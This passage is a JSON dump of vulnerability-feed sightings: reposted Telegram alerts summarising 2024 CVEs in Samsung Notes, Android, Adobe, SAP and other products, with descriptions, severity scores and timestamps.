Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:50.000000Z"}, {"uuid": "25024d12-7078-4f8c-a4ad-08195cc3d9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34623", "type": "seen", "source": "https://t.me/cvedetector/2657", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34623 - Samsung Notes Out-of-Bounds Write Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34623 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds write in applying connected information in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially execute arbitrary code with Samsung Notes privilege. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:48.000000Z"}, {"uuid": "04a43059-f542-417f-bddb-3a30b073905e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34629", "type": "seen", "source": "https://t.me/cvedetector/2656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34629 - Samsung Notes Out-of-bounds Read Memory Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34629 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying binary with text common object in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:44.000000Z"}, {"uuid": "983b225c-d959-4be1-ab6d-904a81322ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34628", "type": "seen", "source": "https://t.me/cvedetector/2655", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34628 - Samsung Notes OOB Read\", \n  \"Content\": \"CVE ID : CVE-2024-34628 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying binary with path in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:43.000000Z"}, {"uuid": "394554da-b9a8-4672-93d8-12a22b69413f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34630", "type": "seen", "source": "https://t.me/cvedetector/2654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34630 - Samsung Notes Out-of-Bounds Read Heap Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-34630 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying own binary with textbox in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:42.000000Z"}, {"uuid": "8a968314-66b3-47d9-b0cc-c57d2c827e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34627", "type": "seen", "source": "https://t.me/cvedetector/2653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34627 - Samsung Notes Out-of-Bounds Read Buffer Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34627 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in parsing implemention in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:41.000000Z"}, {"uuid": "e02db27f-292a-4953-acd5-2f23afaa36a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34631", "type": "seen", "source": "https://t.me/cvedetector/2652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34631 - Samsung Notes OOB Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34631 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying new binary in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:41.000000Z"}, {"uuid": "54a61374-fa5f-4c34-8799-e47aed7f3760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34636", "type": "seen", "source": "https://t.me/cvedetector/2651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34636 - Samsung Email Implicit Intent Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34636 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Use of implicit intent for sensitive communication in Samsung Email prior to version 6.1.94.2 allows local attackers to get sensitive information. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:36.000000Z"}, {"uuid": "e1596463-f450-4940-a6b6-d54c5adb8050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34632", "type": "seen", "source": "https://t.me/cvedetector/2650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34632 - Samsung Notes Out-of-bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34632 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in uuid parsing in Samsung Notes prior to version 4.4.21.62 allows local attacker to access unauthorized memory. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:35.000000Z"}, {"uuid": "cd16b0b7-128e-4a6a-ad81-be68fc0d95a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34625", "type": "seen", "source": "https://t.me/cvedetector/2658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34625 - Samsung Notes Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34625 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying connection point in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:49.000000Z"}, {"uuid": "9263839a-c07f-41b6-8fcb-2607e2490c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34633", "type": "seen", "source": "https://t.me/cvedetector/2647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34633 - Samsung Notes Out-of-bounds Read\", \n  \"Content\": \"CVE ID : CVE-2024-34633 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in parsing object header in Samsung Notes prior to version 4.4.21.62 allows local attacker to access unauthorized memory. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:33.000000Z"}, {"uuid": "798bcf39-54d3-4dcc-8933-c5ca689e9368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3454", "type": "seen", "source": "https://t.me/cvedetector/1549", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3454 - WLAN Chipset Information Disclosure in Connectedhomeip Management Institute\", \n  \"Content\": \"CVE ID : CVE-2024-3454 \nPublished : July 24, 2024, 8:15 a.m. | 27\u00a0minutes ago \nDescription : An implementation issue in the Connectivity Standards Alliance Matter 1.2 protocol as used in the connectedhomeip SDK allows a third party to disclose information about devices part of the same fabric (footprinting), even though the protocol is designed to prevent access to such information. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T10:47:45.000000Z"}, {"uuid": "b375dd39-bb2e-4f85-b053-0f120faf5f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34128", "type": "seen", "source": "https://t.me/cvedetector/1503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34128 - Adobe Experience Manager Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34128 \nPublished : July 23, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Adobe Experience Manager versions 6.5.20 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T14:43:55.000000Z"}, {"uuid": "67320464-7600-4717-8775-530220f3fb27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "seen", "source": "https://t.me/cvedetector/1480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34329 - Insecure permissions in Entrust Datacard XPS Card\", \n  \"Content\": \"CVE ID : CVE-2024-34329 \nPublished : July 22, 2024, 8:15 p.m. | 27\u00a0minutes ago \nDescription : Insecure permissions in Entrust Datacard XPS Card Printer Driver 8.4 and earlier allows unauthenticated attackers to execute arbitrary code as SYSTEM via a crafted DLL payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T22:50:57.000000Z"}, {"uuid": "f4d073c9-0341-4e0d-87f6-3683b2e07315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34021", "type": "seen", "source": "https://t.me/cvedetector/2201", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34021 - ELECOM Wireless LAN Routers Remote Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34021 \nPublished : Aug. 1, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : Unrestricted upload of file with dangerous type vulnerability exists in ELECOM wireless LAN routers. A specially crafted file may be uploaded to the affected product by a logged-in user with an administrative privilege, resulting in an arbitrary OS command execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-01T05:23:20.000000Z"}, {"uuid": "8075f0d2-235a-4d47-a723-26201267935e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34723", "type": "seen", "source": "https://t.me/cvedetector/463", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34723 - In onTransact of ParcelableListBinder.java , there\", \n  \"Content\": \"CVE ID : CVE-2024-34723 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In onTransact of ParcelableListBinder.java , there is a possible way to steal mAllowlistToken to launch an app from background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:36.000000Z"}, {"uuid": "60a0a845-32fe-434f-aa01-995666125a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/199", "content": "\u26a1CVE-2024-34693: Apache Superset Arbitrary File Read Vulnerability, PoC Published.\n\n#CyberBulletin", "creation_timestamp": "2024-07-29T13:34:00.000000Z"}, {"uuid": "4b18c5c0-d376-43eb-925f-8e4661beb7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34720", "type": "seen", "source": "https://t.me/cvedetector/470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34720 - In com_android_internal_os_ZygoteCommandBuffer_nat\", \n  \"Content\": \"CVE ID : CVE-2024-34720 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly of com_android_internal_os_ZygoteCommandBuffer.cpp, there is a possible method to perform arbitrary code execution in any app zygote processes due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:45.000000Z"}, {"uuid": "7ae2d7fc-901c-4a87-b67f-a3a680694df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34722", "type": "seen", "source": "https://t.me/cvedetector/468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34722 - In smp_proc_rand of smp_act.cc, there is a possibl\", \n  \"Content\": \"CVE ID : CVE-2024-34722 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In smp_proc_rand of smp_act.cc, there is a possible authentication bypass during legacy BLE pairing due to incorrect implementation of a protocol. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:44.000000Z"}, {"uuid": "cca0cd0d-d750-4d52-8610-b57f37ec07d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34724", "type": "seen", "source": "https://t.me/cvedetector/466", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34724 - In _UnrefAndMaybeDestroy of pmr.c, there is a poss\", \n  \"Content\": \"CVE ID : CVE-2024-34724 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In _UnrefAndMaybeDestroy of pmr.c, there is a possible arbitrary code execution due to a race condition. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:39.000000Z"}, {"uuid": "836d43f6-eb0e-41a1-a9b2-c62e9ea764b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3410", "type": "seen", "source": "https://t.me/cvedetector/256", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3410 - The DN Footer Contacts WordPress plugin before 1.6\", \n  \"Content\": \"CVE ID : CVE-2024-3410 \nPublished : July 9, 2024, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The DN Footer Contacts WordPress plugin before 1.6.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T08:53:53.000000Z"}, {"uuid": "893a0317-fab2-474d-a72e-63c38617e9fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34721", "type": "seen", "source": "https://t.me/cvedetector/473", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34721 - In ensureFileColumns of MediaProvider.java, there\", \n  \"Content\": \"CVE ID : CVE-2024-34721 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In ensureFileColumns of MediaProvider.java, there is a possible disclosure of files owned by another user due to improper input validation. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:51.000000Z"}, {"uuid": "af06318b-5da8-4262-b721-242fa0c8c8c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34726", "type": "seen", "source": "https://t.me/cvedetector/471", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34726 - In PVRSRV_MMap of pvr_bridge_k.c, there is a possi\", \n  \"Content\": \"CVE ID : CVE-2024-34726 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In PVRSRV_MMap of pvr_bridge_k.c, there is a possible arbitrary code execution due to a logic error in the code. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:46.000000Z"}, {"uuid": "b7cb74b7-dfd9-45f0-849d-86b7b77dfb1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34725", "type": "seen", "source": "https://t.me/cvedetector/462", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34725 - In DevmemIntUnexportCtx of devicemem_server.c, the\", \n  \"Content\": \"CVE ID : CVE-2024-34725 \nPublished : July 9, 2024, 9:15 p.m. | 19\u00a0minutes ago \nDescription : In DevmemIntUnexportCtx of devicemem_server.c, there is a possible arbitrary code execution due to a race condition. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T23:36:35.000000Z"}, {"uuid": "87fd6562-c97a-4d15-a8ef-174bae832c30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34140", "type": "seen", "source": "https://t.me/cvedetector/447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34140 - Bridge versions 14.0.4, 13.0.7, 14.1 and earlier a\", \n  \"Content\": \"CVE ID : CVE-2024-34140 \nPublished : July 9, 2024, 8:15 p.m. | 28\u00a0minutes ago \nDescription : Bridge versions 14.0.4, 13.0.7, 14.1 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T22:46:02.000000Z"}, {"uuid": "bc778d25-8e8e-4ee5-b2c6-af0da3494911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34139", "type": "seen", "source": "https://t.me/cvedetector/445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34139 - Bridge versions 14.0.4, 13.0.7, 14.1 and earlier a\", \n  \"Content\": \"CVE ID : CVE-2024-34139 \nPublished : July 9, 2024, 8:15 p.m. | 28\u00a0minutes ago \nDescription : Bridge versions 14.0.4, 13.0.7, 14.1 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T22:46:00.000000Z"}, {"uuid": "707e64b3-adae-42a6-9233-b947d66c12ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34123", "type": "seen", "source": "https://t.me/cvedetector/436", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34123 - Premiere Pro versions 23.6.5, 24.4.1 and earlier a\", \n  \"Content\": \"CVE ID : CVE-2024-34123 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : Premiere Pro versions 23.6.5, 24.4.1 and earlier are affected by an Untrusted Search Path vulnerability that could lead to arbitrary code execution. An attacker could exploit this vulnerability by inserting a malicious file into the search path, which the application might execute instead of the legitimate file. This could occur when the application uses a search path to locate executables or libraries. Exploitation of this issue requires user interaction, attack complexity is high. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:38.000000Z"}, {"uuid": "040fb25e-9a2c-4801-a448-bfc68df5df85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34689", "type": "seen", "source": "https://t.me/cvedetector/251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34689 - WebFlow Services of SAP Business Workflow allows a\", \n  \"Content\": \"CVE ID : CVE-2024-34689 \nPublished : July 9, 2024, 5:15 a.m. | 19\u00a0minutes ago \nDescription : WebFlow Services of SAP Business Workflow allows  \nan authenticated attacker to enumerate accessible HTTP endpoints in the  \ninternal network by specially crafting HTTP requests. On successful  \nexploitation this can result in information disclosure. It has no impact on  \nintegrity and availability of the application. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T07:38:40.000000Z"}, {"uuid": "9686d3d1-9718-4567-b1a9-b671bf873f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34692", "type": "seen", "source": "https://t.me/cvedetector/248", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34692 - Due to missing verification of file type or conten\", \n  \"Content\": \"CVE ID : CVE-2024-34692 \nPublished : July 9, 2024, 5:15 a.m. | 19\u00a0minutes ago \nDescription : Due to missing verification of file type or  \ncontent, SAP Enable Now allows an authenticated attacker to upload arbitrary  \nfiles. These files include executables which might be downloaded and executed  \nby the user which could host malware. On successful exploitation an attacker  \ncan cause limited impact on confidentiality and Integrity of the application. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T07:38:35.000000Z"}, {"uuid": "b098a8d4-4665-4f05-b735-f6b7b324ad8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34481", "type": "seen", "source": "https://t.me/cvedetector/77", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34481 - drupal-wiki.com Drupal Wiki before 8.31.1 allows X\", \n  \"Content\": \"CVE ID : CVE-2024-34481 \nPublished : July 5, 2024, 2:15 a.m. | 